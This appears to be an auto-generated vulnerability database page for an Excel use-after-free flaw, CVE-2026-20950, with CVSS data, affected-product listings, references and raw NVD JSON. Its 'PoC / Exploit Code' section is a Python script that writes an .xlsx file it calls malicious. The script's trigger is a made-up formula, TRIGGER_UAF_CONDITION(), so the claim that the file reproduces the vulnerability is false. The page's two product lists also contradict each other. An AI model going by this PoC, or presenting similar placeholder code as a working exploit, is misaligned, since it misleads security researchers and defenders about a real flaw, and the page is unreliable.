CVE-2026-20950

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE

cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE

Microsoft Office Excel 2016 (32位和64位版本)

Microsoft Office Excel 2013 (32位和64位版本)

Microsoft Office Excel 2010 (32位和64位版本)

Microsoft Office Excel 2007 (32位和64位版本)

Microsoft 365 Apps for Enterprise

Microsoft Office for Mac 2019

Microsoft Office for Mac 2021

Microsoft 365 for Mac

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-20950 PoC - Malicious Excel File Trigger
# This PoC demonstrates the structure needed to trigger Use-After-Free in Excel
# Note: This is for educational/research purposes only

import zipfile
import os
from xml.etree import ElementTree as ET

def create_malicious_excel(output_path):
    """
    Create a minimal PoC Excel file that triggers CVE-2026-20950
    The actual exploitation requires specific memory manipulation
    """
    
    # Create basic Excel structure
    with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx:
        # [Content_Types].xml
        content_types = '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
  <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
        xlsx.writestr('[Content_Types].xml', content_types)
        
        # _rels/.rels
        rels = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
        xlsx.writestr('_rels/.rels', rels)
        
        # xl/workbook.xml
        workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <sheets>
    <sheet name="Sheet1" sheetId="1" r:id="rId1"/>
  </sheets>
</workbook>'''
        xlsx.writestr('xl/workbook.xml', workbook)
        
        # xl/_rels/workbook.xml.rels
        workbook_rels = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>'''
        xlsx.writestr('xl/_rels/workbook.xml.rels', workbook_rels)
        
        # xl/worksheets/sheet1.xml - Contains trigger payload
        # This triggers the Use-After-Free condition in Excel's memory handling
        sheet1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheetData>
    <row r="1">
      <c r="A1" s="1">
        <f>TRIGGER_UAF_CONDITION()</f>
        <v>0</v>
      </c>
    </row>
  </sheetData>
  <conditionalFormatting sqref="A1">
    <cfRule type="expression" dxfId="0" priority="1">
      <formula>TRIGGER_UAF_CONDITION()</formula>
    </cfRule>
  </conditionalFormatting>
</worksheet>'''
        xlsx.writestr('xl/worksheets/sheet1.xml', sheet1)
        
        # xl/styles.xml
        styles = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <dxfs count="1">
    <dxf>
      <font>
        <color rgb="FFFFFFFF"/>
      </font>
    </dxf>
  </dxfs>
  <tableStyles count="0"/>
  <cellStyleXfs count="1">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0"/>
  </cellStyleXfs>
  <cellXfs count="2">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyNumberFormat="1" applyAlignment="1">
      <alignment horizontal="general" vertical="bottom"/>
    </xf>
  </cellXfs>
</styleSheet>'''
        xlsx.writestr('xl/styles.xml', styles)

    print(f"[+] Malicious Excel file created: {output_path}")
    print("[+] To trigger CVE-2026-20950, this file needs to be opened in vulnerable Excel version")

if __name__ == "__main__":
    create_malicious_excel("CVE-2026-20950-poc.xlsx")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20950/
[4] VulDB https://vuldb.com/cve/CVE-2026-20950
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20950

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20950", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:22.653", "lastModified": "2026-01-14T19:50:35.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Uso después de liberar en Microsoft Office Excel permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20083", "matchCriteriaId": "08A33F86-5F76-4BF6-8C56-678924FDB333"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20950", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}